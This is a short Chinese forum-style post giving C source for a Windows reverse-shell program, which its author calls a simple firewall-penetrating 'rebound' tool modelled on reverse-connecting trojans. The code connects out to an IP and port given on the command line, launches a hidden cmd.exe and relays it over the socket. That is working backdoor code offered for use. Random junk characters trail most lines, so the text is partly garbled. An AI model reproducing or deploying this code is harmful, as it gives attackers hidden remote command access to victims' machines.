这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .A f)y_
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/* ============================== Zvw3C%In
Rebound port in Windows NT 9MlfZsby
By wind,2006/7 }qX&*DU_@
===============================*/ 74N\G1
#include rnrx%Q
#include `e69kBAm
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#pragma comment(lib,"wsock32.lib") %^BOYvPx
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void OutputShell(); [==Z1Q;=
SOCKET sClient; ]3cf}Au
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0a-:x4
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void main(int argc,char **argv) I&@@v\$*
{ \:^n-D*fX
WSADATA stWsaData; aNEy1-/(\
int nRet; RJm8K,3#
SOCKADDR_IN stSaiClient,stSaiServer; -2~yc2:>A
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if(argc != 3) ,,-3p#Pbw
{ p{QKj3ov
printf("Useage:\n\rRebound DestIP DestPort\n"); u>Kvub
return; ?ew]i'9(
} N=Yi:+
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WSAStartup(MAKEWORD(2,2),&stWsaData); WmBnc#>gK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]=$ay0HC
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stSaiClient.sin_family = AF_INET; xqZ%c/I3q
stSaiClient.sin_port = htons(0); |?b"my$g$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B_G7F[/K
\)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?UZyu4O%
{ GM92yi!8
printf("Bind Socket Failed!\n"); #SUq.A
return; Sk%|-T(d$
} Ceb i9R[
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stSaiServer.sin_family = AF_INET; h$h`XBVZe;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *wx^mB9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E8 )*HOT_T
{ 30-wTcG
printf("Connect Error!"); fxa^SV
return; -$p-o
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} a{6|[aR
OutputShell(); AFA*_9Ut
} +Uk.|@b=-V
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void OutputShell() tH!z7VZ
{ d'J?QH!N0
char szBuff[1024]; N%i<DsK.u6
SECURITY_ATTRIBUTES stSecurityAttributes; 9~af\G
OSVERSIONINFO stOsversionInfo; %'<
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P Qay
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STARTUPINFO stStartupInfo; +u.L6GcB
char *szShell; I[Y?f8gJ
PROCESS_INFORMATION stProcessInformation; ? +!?$h
unsigned long lBytesRead; T}On:*&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c9k,Dc
stSecurityAttributes.lpSecurityDescriptor = 0; B75SLK:h=
stSecurityAttributes.bInheritHandle = TRUE; X;g|-<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {1ceF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (9%%^s]uPT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j3F=P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *mtv[
stStartupInfo.wShowWindow = SW_HIDE; E':Z_ ^4
stStartupInfo.hStdInput = hReadPipe; zK;t041e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 351'l7F\
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GetVersionEx(&stOsversionInfo); }_TdXY
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switch(stOsversionInfo.dwPlatformId) [b'fz
{ [G)Sq;
case 1: EpMEA1=&
szShell = "command.com"; )2hoO_l:
break; n&JP/P3Y
default: dy'?@Lj;
szShell = "cmd.exe"; b@Cvs4
break; 8tk`1E8!j
} HDxw2nz*R
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }(6k7{,Gw,
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send(sClient,szMsg,77,0); Rl8-a8j$f.
while(1) ~VKXL,.
{ Q0q$ZK6C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0:p#%Nvg
if(lBytesRead) n!nv.-n
{ } U.B$4Q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L1BpY-=
send(sClient,szBuff,lBytesRead,0); Uk4">]oct
} 8&bj7w,K
else #U6qM(J
{ ;C%EF
lBytesRead=recv(sClient,szBuff,1024,0); 1C{n\_hR
if(lBytesRead<=0) break; &kBs'P8>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !8].Z"5J
} ^(3k
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}
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return; :SGQ4@BV
}